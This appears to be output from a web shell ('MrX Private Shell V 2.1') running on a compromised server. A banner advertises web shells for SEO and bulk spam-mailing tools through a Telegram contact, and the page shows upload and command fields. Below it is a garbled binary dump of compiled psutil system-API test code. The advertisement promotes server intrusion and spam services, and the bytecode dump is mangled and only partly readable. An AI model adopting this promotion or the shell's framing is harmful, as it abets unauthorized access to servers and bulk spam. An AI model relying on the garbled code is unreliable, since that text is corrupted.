__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

[email protected]: ~ $
�

"j4g������SrSSKrSSKrSSKrSSKrSSKrSSKrSSKrSSKrSSK	r	SSK
r
SSKrSSKrSSK
r
SSK
Jr SSK
Jr SSK
Jr SSK
Jr SSK
Jr SSK
Jr SS	K
Jr SS
K
Jr SSK
Jr SSK
Jr SS
KJr SSKJr SSKJr SSKJr SSKJr SSKJr SSKJ r  SSKJ!r! SSKJ"r" SSKJ#r# SSKJ$r$ SSKJ%r% SSKJ&r& SSKJ'r' SSKJ(r( SSKJ)r) SSKJ*r* SSKJ+r+ SSKJ,r, SS KJ-r- SS!KJ.r. SS"KJ/r/ SS#KJ0r0 SS$KJ1r1 "S%S&\-5r2"S'S(\-5r3"S)S*\-5r4"S+S,\-5r5"S-S.\-5r6"S/S0\-5r7"S1S2\-5r8\9S3:XaSS4K:J;r; \;"\<5 gg)5zTests for system APIS.�N)�AIX)�BSD)�FREEBSD)�LINUX)�MACOS)�NETBSD)�OPENBSD)�POSIX)�SUNOS)�WINDOWS)�PY3)�FileNotFoundError)�long)�ASCII_FS)�
CI_TESTING)�DEVNULL)�GITHUB_ACTIONS)�GLOBAL_TIMEOUT)�HAS_BATTERY)�HAS_CPU_FREQ)�HAS_GETLOADAVG)�HAS_NET_IO_COUNTERS)�HAS_SENSORS_BATTERY)�HAS_SENSORS_FANS)�HAS_SENSORS_TEMPERATURES)�IS_64BIT)�MACOS_12PLUS)�PYPY)�UNICODE_SUFFIX)�PsutilTestCase)�check_net_address)�enum)�mock)�retry_on_failurec��\rSrSrSrSr\R"\=(a \	S5S5r
\R"\=(a \	S5S5rSrSr
S	rg
)�TestProcessAPIs�@c��UR[R"5[R"5Vs/sHoR
PM sn5 UR
5nURUR
[R"5Vs/sHoR
PM sn5 [R"UR
5nUR5 UR5 URUR
[R"5Vs/sHoR
PM sn5 [R"5Vs/sHoPM nnUR[USS9[[U5SS95 [R"S[R "[R"55S9 UR[#[R"55/5 SSS5 [R"S[R$"[R"55S9 UR'[R$5 [#[R"55 SSS5 SSS5 gs snfs snfs snfs snf!,(df   N�=f!,(df   N<=f!,(df   g=f)Nc��UR$�N��pid��xs �:/usr/lib/python3/dist-packages/psutil/tests/test_system.py�<lambda>�3TestProcessAPIs.test_process_iter.<locals>.<lambda>Ms��Q�U�U�)�keyc��UR$r*r+r-s r/r0r1Ns��!�%�%r2zpsutil.Process��side_effect)�assertIn�os�getpid�psutil�process_iterr,�spawn_testproc�Process�kill�wait�assertNotIn�assertEqual�sorted�setr#�patch�
NoSuchProcess�list�AccessDenied�assertRaises)�selfr.�sproc�p�lss     r/�test_process_iter�!TestProcessAPIs.test_process_iterAs����
�
�b�i�i�k�6�3F�3F�3H�#I�3H�a�E�E�3H�#I�J��#�#�%���
�
�e�i�i��1D�1D�1F�!G�1F�A�%�%�1F�!G�H��N�N�5�9�9�%��	����	����������F�4G�4G�4I�$J�4I�q�U�U�4I�$J�K� �,�,�.�
/�.�A�a�.��
/�����2�?�+��3�r�7��0�	
�
�Z�Z��&�*>�*>�r�y�y�{�*K�
�
���T�&�"5�"5�"7�8�"�=�
��Z�Z��&�*=�*=�b�i�i�k�*J�
��"�"�6�#6�#6�7��V�(�(�*�+�8�
�
��'$J��!G��%K��0�
�
��8�7��
�
�sG�J
�J

�J
�J�/J�5 J;�J*�4J;�
J'�*
J8	�4J;�;
K	c� �[R"S/S9H7nUR[URR55S/5 M9 UR
[5 [[R"S/S95 SSS5 [R"S[R"SS5S9n[R"SS/S9H@nURURS5 URURSS5 MB UR(deSSS5 [R"S[R"SS5S9n[5n[R"SS/US	9HAnURURSU5 URURSS5 MC UR(deSSS5 g!,(df   GN^=f!,(df   N�=f!,(df   g=f)
Nr,)�attrs�fooz$psutil._psplatform.Process.cpu_timesr�r5�	cpu_times)rP�ad_value)r:r;rArF�info�keysrH�
ValueErrorr#rDrG�assertIsNone�assertGreaterEqual�called�object�assertIs)rIrK�m�flags    r/�test_prcess_iter_w_attrs�(TestProcessAPIs.test_prcess_iter_w_attrs[s����$�$�E�7�3�A����T�!�&�&�+�+�-�0�5�'�:�4�
�
�
�z�
*���$�$�E�7�3�4�+�
�Z�Z�2��+�+�A�r�2�
���(�(��{�/C�D���!�!�!�&�&��"5�6��'�'����u�
�q�9�E��8�8�O�8�
��Z�Z�2��+�+�A�r�2�
���8�D��(�(��k�*�T����
�
�a�f�f�[�1�4�8��'�'����u�
�q�9�	�
�8�8�O�8�
�
�+�
*��
�
��
�
�s&�&G�7A.G.�A:G?�
G+�.
G<�?
H
z-spawn_testproc() unreliable on PYPY + WINDOWSc�f^^
�U
4Sjn/m
TR5nTR5nTR5nX#U4Vs/sH#n[R"UR5PM% nnTR	[
[RUSS9 TR	[[RUSS9 [R"5n[R"USUS9up�TR[R"5U-
S5 TRU/5 TR[U	5S	5 TRT
/5 U	Hn
TR[U
S
55 M  [S5U4Sj5nUR5 U"Xa5up�TR!URUVs/sHoURPM sn5 ["(a:TRUR%5R&[(R**5 O*TRUR%5R&S5 TRT
UR/5 U	Hn
TR[U
S
55 M  [S5U4S
j5nUR5 UR5 U"Xa5up�TR[-T
5[-URURUR/55 UHn
TR/[U
S
55 M  gs snfs snf)Nc�<>�TRUR5 gr*)�appendr,)rK�pidss �r/�callback�1TestProcessAPIs.test_wait_procs.<locals>.callbackxs����K�K����r2���)�timeout�)reg{�G�z�?�rhreg�?��
returncode�c�>�[R"USUS9up#TR[U5S5 TR[U5S5 X#4$)N���Q��?rjri��r:�
wait_procsrA�len��procsre�gone�aliverIs    �r/�test_1�/TestProcessAPIs.test_wait_procs.<locals>.test_1��N��� �+�+��t�h��K�D�
���S��Y��*����S��Z��+��;�r2c�>�[R"USUS9up#TR[U5S5 TR[U5S5 X#4$)Nrorjrkrrqrts    �r/�test_2�/TestProcessAPIs.test_wait_procs.<locals>.test_2�rzr2)r<r:r=r,rHrWrr�	TypeError�time�
assertLessrArs�assertFalse�hasattrr$�	terminater7r
�poprl�signal�SIGTERMrC�
assertTrue)rIre�sproc1�sproc2�sproc3r.ru�trvrwrKrxr|rds`            @r/�test_wait_procs�TestProcessAPIs.test_wait_procsts����	����$�$�&���$�$�&���$�$�&��17��0H�I�0H�1�������&�0H��I����*�f�&7�&7����K����)�V�%6�%6����J��I�I�K���'�'��t�h�O�������	�	��a���-�����r�"�����U��Q�'�����r�"��A����W�Q��5�6��
�"�	�	�
�	�	�����U�-����
�
�f�j�j�$�"7�$�Q�5�5�$�"7�8��5����T�X�X�Z�2�2�V�^�^�O�D����T�X�X�Z�2�2�A�6������
�
�|�,��A����W�Q��5�6��
�"�	�	�
�	�	���������U�-�������T��C����V�Z�Z����(L�$M�N��A��O�O�G�A�|�4�5���]J��0#8s�*L)�5L.
c�0�UR5nUR5nUR5nXU4Vs/sH#n[R"UR5PM% nnUHnUR	5 M [R
"U5 gs snfr*)r<r:r=r,r�rr)rIr�r�r�r.rurKs       r/�test_wait_procs_no_timeout�*TestProcessAPIs.test_wait_procs_no_timeout�s}���$�$�&���$�$�&���$�$�&��17��0H�I�0H�1�������&�0H��I��A�
�K�K�M�����%� ��Js�*Bc�"�UR5nUR[R"UR55 [R
"UR5nUR
5 UR5 UR[R"UR55 UR[R"S55 UR[R"S5S[R"5;5 g)Nrgr)r<r�r:�
pid_existsr,r=r>r?r�rArd)rIrJrKs   r/�test_pid_exists�TestProcessAPIs.test_pid_exists�s����#�#�%������)�)�%�)�)�4�5��N�N�5�9�9�%��	����	��������*�*�5�9�9�5�6�����*�*�2�.�/�����*�*�1�-�q�F�K�K�M�/A�Br2c��[R"5nUH!n[R"U5(deM# [[U5S-[U5S-5nUH'nUR[R"U5US9 M) g![a? [R
"S5 UR
U[R"55 M�f=f)Ng�������?i�:i�>��msg)
r:rdr��AssertionErrorr�sleepr@�range�maxr�)rIrdr,s   r/�test_pid_exists_2�!TestProcessAPIs.test_pid_exists_2�s����{�{�}���C�
5��(�(��-�-�-�-���S��Y��&��D�	�E�(9�:���C����V�.�.�s�3���=���
"�
5��
�
�3��� � ��f�k�k�m�4�	
5�s�B�AC�C�N)�__name__�
__module__�__qualname__�__firstlineno__rMr_�unittest�skipIfrrr�r�r�r��__static_attributes__r�r2r/r&r&@sh��,�4�2�_�_����I��76��76�r�_�_����I��!��!�C�>r2r&c��\rSrSrSr\R"\=(a \R"5(+S5S5r
SrSrSr
g)	�TestMiscAPIs��c���[R"5nURU[5 UR	US5 URU[R"55 g�Nr)r:�	boot_time�assertIsInstance�float�
assertGreaterr�r)rI�bts  r/�test_boot_time�TestMiscAPIs.test_boot_time�sD��
�
�
�
�����b�%�(����2�q�!�����D�I�I�K�(r2�unreliable on CIc	�H�[R"5nURU/5 UGHanURUS9 UR(deURUR[5 URUR[[S545 URb+URUR[[S545 UR UR URURS5 [RRUR5 [(d[(aUR!UR"5 O [R$"UR"5 SSS5 GMd g!,(df   GMw=f)N)�user�)r:�users�assertNotEqual�subTest�namer��str�terminal�type�hostr��started�datetime�
fromtimestamprr	rXr,r=)rIr�r�s   r/�
test_users�TestMiscAPIs.test_users�s
����������E�2�&��D����4��(��y�y� �y��%�%�d�i�i��5��%�%�d�m�m�c�4��:�5F�G��9�9�(��)�)�$�)�)�c�4��:�5F�G��
�
��	�	��"�"�4�<�<��5��!�!�/�/����=��7�g�g��%�%�d�h�h�/��N�N�4�8�8�,�)�(��(�(�s�EF�
F!	c��[Rn[[l[R"5 U[lg!U[lf=fr*)�sys�stdoutrr:�test)rIr�s  r/�	test_test�TestMiscAPIs.test_test�s/��������
�	 ��K�K�M��C�J���C�J�s�A�
Ac�x�/SQnUH&nUR[[U5[US9 M( [R
S:XGa[R(de[R(aeURS5 S[RR5;a*[R(deURS5 GO�S[RR5;a�[R(deUR[R[R [R"/R%S5S	5 URS
5 URS5 URS5 URS
5 O�S[RR5;d"S[RR5;a)[R&(deURS5 O�S[RR5;a([R((deURS5 O?[R(de[R(aeURS5 UH!nUR+[[U5US9 M# g)N)	r
rrrrr	rrrr��posixr
�linuxr�bsdTrirrr	r�sunos�solarisr�darwinrr)r��getattrr:�boolr8r�r
r�remover��platform�lowerrrrArr	r�countrrr�)rI�namesr�s   r/�test_os_constants�TestMiscAPIs.test_os_constants�s���

���D��!�!�'�&�$�"7��4�!�H���7�7�g���<�<��<��~�~�%�%��L�L��!��#�,�,�,�,�.�.��|�|�#�|����W�%��#�,�,�,�,�.�.��z�z�!�z�� � ��^�^�V�^�^�V�]�]�C�I�I����	����U�#����Y�'����Y�'����X�&��3�<�<�-�-�/�/����� 2� 2� 4�4��|�|�#�|����W�%��S�\�\�/�/�1�1��|�|�#�|����W�%���>�>�!�>��|�|�#�#��L�L��#��D����W�V�T�2���=�r2r�N)r�r�r�r�r�r�r�rr:r�r�r�r�r�r�r2r/r�r��s@��)��_�_�Z�6�����$6�8J�K�-�L�-�& �2>r2r�c� �\rSrSrSrSrSrg)�TestMemoryAPIsi.c�t�[R"5nURS:�dU5eURS:�dU5eSURs=::aS::dU5e U5eUR
S:�dU5eURS:�dU5eURH�n[X5nUS:waURU[[45 US:wdM8US:�dURU<SU<S35eX1R:�dMhURU<SUR<SU<S	U<S35e g)
Nr�d�percent�totalz < 0 (�)z > total (total=z, �=)
r:�virtual_memoryr��	availabler��used�free�_fieldsr�r��intr�fail)rI�memr��values    r/�test_virtual_memory�"TestMemoryAPIs.test_virtual_memory/s���#�#�%���y�y�1�}�!�c�!�}��}�}�q� �%�#�%� ��C�K�K�&�3�&�+��+�&�+��+�&��x�x�!�|� �S� �|��x�x�1�}�!�c�!�}��K�K�D��C�&�E��y� ��%�%�e�c�4�[�9��w����z��)�)�T�5�$A�B�B��9�9�$��)�)�����D�%�9��� r2c���[R"5nURURS5 URS:�dU5eUR
S:�dU5eURS:�aURS:�dU5eOURS:XdU5eSURs=::aS::dU5e U5eURS:�dU5eURS:�dU5eg)N)r�r�r�r��sin�soutrr�)
r:�swap_memoryrAr�r�r�r�r�r�r�)rIr�s  r/�test_swap_memory�TestMemoryAPIs.test_swap_memoryCs���� � �"������K�K�L�	
��y�y�A�~�"�s�"�~��x�x�1�}�!�c�!�}��9�9�q�=��8�8�a�<�$��$�<��8�8�q�=�%�#�%�=��C�K�K�&�3�&�+��+�&�+��+�&��w�w�!�|� �S� �|��x�x�1�}�!�c�!�}r2r�N)r�r�r�r�r�r�r�r�r2r/r�r�.s���("r2r�c��\rSrSrSrSrSrSrSrSr	Sr
\R"\
=(a \S	5S
5rSrSrS
rSrSrSrSr\R"\=(a \R2"5S:HS5\R"\(+S5S55r\R"\(+S5S5rSrg)�TestCpuAPIsiUc	��[R"5nURU5 URU[	[R
"SS955 UR
US5 [RRS5(aA[S5nUR5nSSS5 SW;a[R"S5egg!,(df   N,=f)NT��percpuriz
/proc/cpuinfozphysical idz#cpuinfo doesn't include physical id)r:�	cpu_count�assertIsNotNonerArsrSrYr8�path�exists�open�readr��SkipTest)rI�logical�fd�cpuinfo_datas    r/�test_cpu_count_logical�"TestCpuAPIs.test_cpu_count_logicalVs����"�"�$�����W�%�����#�f�&6�&6�d�&C�"D�E������+�
�7�7�>�>�/�*�*��o�&�"�!�w�w�y��'��L�0��'�'�(M�N�N�1�+�&�&�s�C�
Cc�6�[R"5n[R"SS9nUcURS5e[(a.[R
"5SSS::aUR
U5 gURUS5 URX5 g)NF�r�zcpu_count_cores() is Nonerp)�riri)r:r��skipTestrr��getwindowsversionrXrY)rIr��coress   r/�test_cpu_count_cores� TestCpuAPIs.test_cpu_count_coresbs}���"�"�$��� � ��/���=��-�-� ;�<�<��7�s�,�,�.�r��2�f�<����e�$��#�#�E�1�-��#�#�G�3r2c��SH�n[R"SUS9nUR[R"55 UR
(deSSS5 [R"SUS9nUR[R"SS95 UR
(deSSS5 M� g!,(df   Nh=f!,(df   M�=f)N)rgrNz$psutil._psplatform.cpu_count_logical��return_valuez"psutil._psplatform.cpu_count_coresFr)r#rDrXr:r�rZ)rI�valr]s   r/�test_cpu_count_none�TestCpuAPIs.test_cpu_count_nonems��� �C����6�S����!�!�&�"2�"2�"4�5��x�x��x�	�
���4�3����!�!�&�"2�"2�5�"A�B��x�x��x�	��
!����
��s�8B6�17C�6
C	�
C	c��Sn[R"5n[U5 UH/nURU[5 URUS5 X-
nM1 UR
U[U55 [U5 g)Nrr�)r:rS�sumr�r�rY�assertAlmostEqualr�)rIr��times�cp_times    r/�test_cpu_times�TestCpuAPIs.test_cpu_times{sk����� � �"���E�
��G��!�!�'�5�1��#�#�G�S�1���E��	
���u�c�%�j�1��E�
r2c�H�[[R"55n[R"5[-n[R"5U:a?[[R"55nX1:�ag[R"5U:aM?URS5e)Nztime remained the same)rr:rSrrr�)rI�t1�stop_at�t2s    r/�test_cpu_times_time_increases�)TestCpuAPIs.test_cpu_times_time_increases�sp��
��!�!�#�
$���)�)�+��.���i�i�k�G�#��V�%�%�'�(�B��w���i�i�k�G�#��i�i�0�1�1r2c	��[R"SS9HknSn[U5 UH/nURU[5 URUS5 X#-
nM1 UR
U[U55 [U5 Mm UR[[R"SS9S5[[R"SS955 g)NTr�rr�F)
r:rSrr�r�rYrr�rArs)rIrr�rs    r/�test_per_cpu_times�TestCpuAPIs.test_per_cpu_times�s����%�%�T�2�E��E���J� ���%�%�g�u�5��'�'���5�� ��!�
�"�"�5�#�e�*�5���J�3�	
����� � ��-�a�0�1��� � ��.�/�	
r2c�z�[R"SS9n[R"5[-n[R"5U:�aUR	S5$[R"SS9n[X5H<upE[R"U5[R"U5pTXT-
nUS:�dM< g M�)NTr�rhg�������?)r:rSrrr��zip�_cpu_busy_time)rI�tot1�	giveup_at�tot2rr�
differences       r/�test_per_cpu_times_2� TestCpuAPIs.test_per_cpu_times_2�s������t�,���I�I�K�.�0�	���y�y�{�i�'��y�y��+�+��#�#�4�0�D��d�/����.�.�r�2�F�4I�4I�"�4M�B��W�
���%��	*�	r2zunreliable on OPENBSD + CIc	��[R"5n[R"SS9nUR[U6Vs/sHn[	U5PM sn5nUR
H?nUR
XQUS9 UR[X5[XE5SS9 SSS5 MA gs snf!,(df   MX=f)NTr�)�field�base�per_cpuri��delta)	r:rS�_maker"rr�r�rr�)rIr,r-�num�
summed_valuesr+s      r/�test_cpu_times_comparison�%TestCpuAPIs.test_cpu_times_comparison�s���
���!���"�"�$�/���
�
��W�
�#F�
��C��H�
�#F�G�
��\�\�E����E�g��F��&�&��D�(��M�1��'��G�F�"��$G�F�F�s�B+�:$B0�0
B?	c�l�URU[5 URUS5 URUS5 UR	US[
R"5-5 g![aDn[SU<S[R"U5<S[R"U5<35eSnAff=f)Nr�g�gY@�
z
last=z
new=)
r�r�rY�assertIsNot�assertLessEqualr:r�r��pprint�pformat)rIr��last_ret�new_ret�errs     r/�_test_cpu_percent�TestCpuAPIs._test_cpu_percent�s���		��!�!�'�5�1��#�#�G�S�1����W�d�+�� � ��%�&�2B�2B�2D�*D�E���	� �����x�0�&�.�.��2I�K��
��	�s�A"A%�%
B3�/?B.�.B3c�&�[R"SS9n[S5H+n[R"SS9nURX1U5 UnM- UR	[
5 [R"SS9 SSS5 g!,(df   g=f�N���MbP?)�intervalr�rg)r:�cpu_percentr�r>rHrW)rI�last�_�news    r/�test_cpu_percent�TestCpuAPIs.test_cpu_percent�so���!�!�5�1���s��A��$�$�d�3�C��"�"�3�c�2��D���
�
�z�
*�����+�+�
*�
*�s�$B�
Bc��[R"SSS9nUR[U5[R"55 [S5H5n[R"SSS9nUHnUR
XAU5 M UnM7 UR[5 [R"SSS9 SSS5 g!,(df   g=f)NrBT�rCr�r�rg)	r:rDrArsr�r�r>rHrW�rIrErFrGr�s     r/�test_per_cpu_percent� TestCpuAPIs.test_per_cpu_percent�s����!�!�5��>������T��F�$4�$4�$6�7��s��A��$�$�d�4�@�C����&�&�w�c�:���D�	�
�
�
�z�
*�����4�8�+�
*�
*�s�B<�<
C
c�n�[R"SS9n[S5HOn[R"SS9nUHnURXAU5 M UR[	U5X5 UnMQ UR[5 [R"SS9 SSS5 g!,(df   g=frA)r:�cpu_times_percentr�r>rrHrWrLs     r/�test_cpu_times_percent�"TestCpuAPIs.test_cpu_times_percents����'�'��7���s��A��*�*�D�9�C����&�&�w�c�:���"�"�3�s�8�T�7��D���
�
�z�
*��$�$�b�1�+�
*�
*�s�B&�&
B4c�Z�[R"SSS9nUR[U5[R"55 [S5HYn[R"SSS9nUH9nUHnUR
XQU5 M UR
[U5X5 M; UnM[ g)NrBTrKr�)r:rPrArsr�r�r>r)rIrErFrG�cpur�s      r/�test_per_cpu_times_percent�&TestCpuAPIs.test_per_cpu_times_percents����'�'��t�D������T��F�$4�$4�$6�7��s��A��*�*�D��F�C���"�G��*�*�7�#�>� #��&�&�s�3�x��;���D�
r2c
���[R"SS9 [R"SS9Vs/sHAnUR[	[UR55Vs/sHnSPM sn5PMC nn[R"SUS9 [R"SS9HnUHnURUSS5 M M! SSS5 gs snfs snf!,(df   g=f)NTr�rzpsutil.cpu_timesr)
r:rPrSr0r�rsr�r#rDr>)rIr.�
zero_timesrTr�s     r/�#test_per_cpu_times_percent_negative�/TestCpuAPIs.test_per_cpu_times_percent_negatives���� � ��-��%�%�T�2�
�2��
�G�G��c�!�)�)�n� 5�6� 5�1�Q� 5�6�7�2�	�
��Z�Z�*��
D��/�/�t�<��"�G��*�*�7�D�$�?� #�=�E�
D��7��
�E�
D�s#�1C�C�(C�
8C�C�
C#c��[R"5nURURS5 URHGn[	X5nURUS5 [(aM-US;dM5URUS5 MI g)N)�ctx_switches�
interrupts�soft_interrupts�syscallsr)r\r])r:�	cpu_statsrAr�r�rYrr�)rI�infosr�r�s    r/�test_cpu_stats�TestCpuAPIs.test_cpu_stats&so��� � �"������M�M�I�	
��M�M�D��E�(�E��#�#�E�1�-��3�4�#A�A��"�"�5�!�,�"r2�arm64zskipped due to #1892�
not supportedc�F^�U4Sjn[R"SS9n[(aU(dTRS5eU(dU5eU"[R"SS9/5 [(a/TR[
U5[R"55 gg)Nc�^>�UH�nTRURS5 URS:wa&TRURUR5 URHAn[X5nTR
U[[[45 TRUS5 MC M� g)N)�current�minr�r�r)rAr�r�r8rhr�r�r�rr�rY)rL�ntr�r�rIs    �r/�check_ls�+TestCpuAPIs.test_cpu_freq.<locals>.check_ls:s������� � ����-F�G��6�6�S�=��(�(����R�V�V�<��J�J�D�#�B�-�E��)�)�%�#�t�U�1C�D��+�+�E�1�5�'�	r2Tr�zreturns empty list on FreeBSDF)r:�cpu_freqrrrrArsr�)rIrkrLs`  r/�
test_cpu_freq�TestCpuAPIs.test_cpu_freq5su���
	6��_�_�D�
)���7�2��-�-� ?�@�@��
�2�
�r��&�/�/��/�0�1��5����S��W�f�&6�&6�&8�9�r2c���[R"5nUR[U5S5 UH+nUR	U[
5 UR
US5 M- g)Nrkr�)r:�
getloadavgrArsr�r�rY)rI�loadavg�loads   r/�test_getloadavg�TestCpuAPIs.test_getloadavgNsN���#�#�%������W��q�)��D��!�!�$��.��#�#�D�#�.�r2r�N)r�r�r�r�rr	rrrrr(r�r�rr	r3r>rHrMrQrUrYrbrr��machinerrnrrtr�r�r2r/r�r�Us���
O�	4� �
�:2�
�F
��_�_�Z�+�G�-I�J�
�K�
�
�,�	9�	2�	�
@�-��_�_�
�/�(�"�"�$��/�1G���_�_��%��7�:�8��:�*�_�_��'��9�/�:�/r2r�c��\rSrSr\R
"\=(a \(+S5S5r\R
"\	(+S5S5r
SrSr\R
"\
=(a  \RR!S5(+S	5\R
"\=(a \R&"5(+S
5S55rSrS
rg)�TestDiskAPIsiWzunreliable on PYPY32 + 32BITc��[R"[R"55nUR	UR
S5 URS:�dU5eURS:�dU5eURS:�dU5eURUR:�dU5eURUR:�dU5eSURs=::aS::dO UR5e[[S5(a�[R"[R"55nSnUR	URUR5 URURURUS9 [(d%URURURUS9 UR5nUR[ 5 [R"U5 SSS5 g!,(df   g=f)N)r�r�r�r�rr��
disk_usageiPr.)r:rzr8�getcwdrAr�r�r�r�r�r��shutilrr�
get_testfnrHr)rI�usage�shutil_usage�	tolerance�fnames     r/�test_disk_usage�TestDiskAPIs.test_disk_usageXs����!�!�"�)�)�+�.��������(L�M��{�{�Q��%��%���z�z�A�~�$�u�$�~��z�z�A�~�$�u�$�~��{�{�U�Z�Z�'�.��.�'��{�{�U�Z�Z�'�.��.�'��E�M�M�(�S�(�7�%�-�-�7�(��6�<�(�(�!�,�,�R�Y�Y�[�9�L�'�I����U�[�[�,�*<�*<�=��"�"��
�
�L�-�-�Y�
#�
� �<��&�&��J�J�� 1� 1��'�����!��
�
�
�0�
1����e�$�2�
1�
1�s�G7�7
Hznot an ASCII fsc��UR[5 [R"[5 SSS5 g!,(df   g=fr*)rH�UnicodeEncodeErrorr:rzr�rIs r/�test_disk_usage_unicode�$TestDiskAPIs.test_disk_usage_unicodews-���
�
�1�
2����n�-�3�
2�
2�s	�:�
Ac�0�[R"S5 g)N�.)r:rzr�s r/�test_disk_usage_bytes�"TestDiskAPIs.test_disk_usage_bytes}s�����$�r2c�N^�U4Sjn[R"SS9nTRX"S9 UH�nU"U5 [(aSUR;aM([
(d6[RRUR5(dU5eOUR [RRUR5(dU5eUR(aM�U5e [R"SS9nTRX"S9 [R"SS9H�nU"U5 [(aMUR(dM+[R"UR5 [RRUR5(dU5eM� SnU"[(5n[R"SS9Vs/sH0nUR(dMURR+5PM2 nnTR-Xh5 g![avn[(a0[(a%UR [ R":XaSnAGM:UR [ R$[ R&4;aeSnAGMpSnAff=fs snf)Nc�n>�TRUR[5 TRUR[5 TRUR[5 TRUR
[5 TRUR[[S545 TRUR[[S545 URb'[(dTRURS5 URbTRURS5 ggr�)r��devicer��
mountpoint�fstype�opts�maxfiler�r��maxpathrr��rjrIs �r/�check_ntuple�7TestDiskAPIs.test_disk_partitions.<locals>.check_ntuple�s�����!�!�"�)�)�S�1��!�!�"�-�-��5��!�!�"�)�)�S�1��!�!�"�'�'�3�/��!�!�"�*�*�s�D��J�.?�@��!�!�"�*�*�s�D��J�.?�@��z�z�%�n�n��"�"�2�:�:�q�1��z�z�%��"�"�2�:�:�q�1�&r2F)�allr��cdromTc�2�[RRU5n[RRU5(dE[RR	U5n[RRU5(dMEUR5$r*)r8r��abspath�ismount�dirnamer�)r�s r/�find_mount_point�;TestDiskAPIs.test_disk_partitions.<locals>.find_mount_point�sZ���7�7�?�?�4�(�D��g�g�o�o�d�+�+��w�w���t�,���g�g�o�o�d�+�+��:�:�<�r2)r:�disk_partitionsr�rr�r
r8r�r�r�r�r��stat�OSErrorrr�errno�EIO�EPERM�EACCES�__file__r�r7)	rIr�rL�diskr=r��mountr.�mountss	`        r/�test_disk_partitions�!TestDiskAPIs.test_disk_partitions�s����
	2��
#�
#��
.�������#��D�����w�7�d�i�i�/���5��w�w�~�~�d�k�k�2�2�8�D�8�2�����7�7�>�>�$�/�/�2�2�8�D�8�2��;�;�;�$��$�;���
#�
#��
-�������#��*�*�t�4�D�����7�t����
A��G�G�D�O�O�,��7�7�>�>�$�/�/�:�:�@�D�@�:�5�"	 �!��*���+�+��5�
�5���|�|�
!�A�L�L��� �5�	�
�
	
�
�
�e�$��1��%�~�%�%�C�I�I����4J� ��y�y����e�l�l�(C�C��D����&
s*� H�J"�-J"�
J�)4J�$/J�Jz/proc/diskstatsz3/proc/diskstats not available on this linux versionr�c�"^�U4Sjn[R"SS9nUcS5eU"U5 [R"SS9nTR[U5[[	U555 UHnU(dU5eU"X#5 M g)Nc�>�TRUSUR5 TRUSUR5 TRUSUR5 TRUSUR5 [
(d�[(d�TRUSUR5 TRUSUR5 [(a^TRUSUR5 TRUSUR5 TRUS	UR5 O*[(aTRUSUR5 URHn[X5S:�aMU5e g)
Nrrirprk��r��)rA�
read_count�write_count�
read_bytes�write_bytesr	r�	read_time�
write_timer�read_merged_count�write_merged_count�	busy_timerr�r�)rjr�rIs  �r/r��8TestDiskAPIs.test_disk_io_counters.<locals>.check_ntuple�s0������R��U�B�M�M�2����R��U�B�N�N�3����R��U�B�M�M�2����R��U�B�N�N�3��G�v�v�� � ��A�����5�� � ��A���
�
�6��5��$�$�R��U�B�,@�,@�A��$�$�R��U�B�,A�,A�B��$�$�R��U�B�L�L�9��W��$�$�R��U�B�L�L�9��
�
���r�(�A�-�1�r�1�-�#r2F��perdiskzno disks on this system?T)r:�disk_io_countersrArsrC�rIr��retr3s`   r/�test_disk_io_counters�"TestDiskAPIs.test_disk_io_counters�s}���	2�"�%�%�e�4����:� :�:���S���%�%�d�3������S��3�s�3�x�=�1��C��O��O�3����"�r2c��[R"S0S9nUR[R"SS95 UR[R"SS905 UR(deSSS5 g!,(df   g=f)Nz#psutil._psplatform.disk_io_countersrFr�T)r#rDrXr:r�rArZ�rIr]s  r/�test_disk_io_counters_no_disks�+TestDiskAPIs.test_disk_io_counters_no_disks�sg���Z�Z�1��
�
����f�5�5�e�D�E����V�4�4�T�B�B�G��8�8�O�8�
�
�
���AA;�;
B	r�N)r�r�r�r�r�r�rrr�rr�r�r�rr8r�r�rr:r�r�r�r�r�r2r/rxrxWs���
�_�_�T�*�(�l�,J�K�%�L�%�<�_�_��\�#4�5�.�6�.�
 �>%�@�_�_�
�7�b�g�g�n�n�%6�7�7�=���_�_��4�6�2�2�4�4�6H��#��	�#�8r2rxc��\rSrSr\R
"\(+S5S5r\R
"\(+S5S5rSr	Sr
Sr\R
"\=(d \
=(d \(+S5S	5rS
rg)�TestNetAPIsi�rec�
^�U4Sjn[R"SS9nU"U5 [R"SS9nTRU/5 UH4nTRU5 TR	U[
5 U"X#5 M6 g)Nc�f>�TRUSUR5 TRUSUR5 TRUSUR5 TRUSUR5 TRUSUR
5 TRUSUR5 TRUSUR5 TRUSUR5 URS:�dU5eURS:�dU5eURS:�dU5eURS:�dU5eUR
S:�dU5eURS:�dU5eURS:�dU5eURS:�dU5eg)	Nrrirprkr�r�rr�)	rA�
bytes_sent�
bytes_recv�packets_sent�packets_recv�errin�errout�dropin�dropoutr�s �r/r��6TestNetAPIs.test_net_io_counters.<locals>.check_ntuple�ss������R��U�B�M�M�2����R��U�B�M�M�2����R��U�B�O�O�4����R��U�B�O�O�4����R��U�B�H�H�-����R��U�B�I�I�.����R��U�B�I�I�.����R��U�B�J�J�/��=�=�A�%�)�r�)�%��=�=�A�%�)�r�)�%��?�?�a�'�+��+�'��?�?�a�'�+��+�'��8�8�q�=�$�"�$�=��9�9��>�%�2�%�>��9�9��>�%�2�%�>��:�:��?�&�B�&�?r2F��pernicT)r:�net_io_countersr�r�r�r�r�s`   r/�test_net_io_counters� TestNetAPIs.test_net_io_counters�sr���	'�$�$�$�E�2���S���$�$�D�1�����C��$��C��O�O�C� ��!�!�#�s�+����"�r2c��[R"S0S9nUR[R"SS95 UR[R"SS905 UR(deSSS5 g!,(df   g=f)Nz"psutil._psplatform.net_io_countersrFr�T)r#rDrXr:r�rArZr�s  r/�test_net_io_counters_no_nics�(TestNetAPIs.test_net_io_counters_no_nicssg���Z�Z�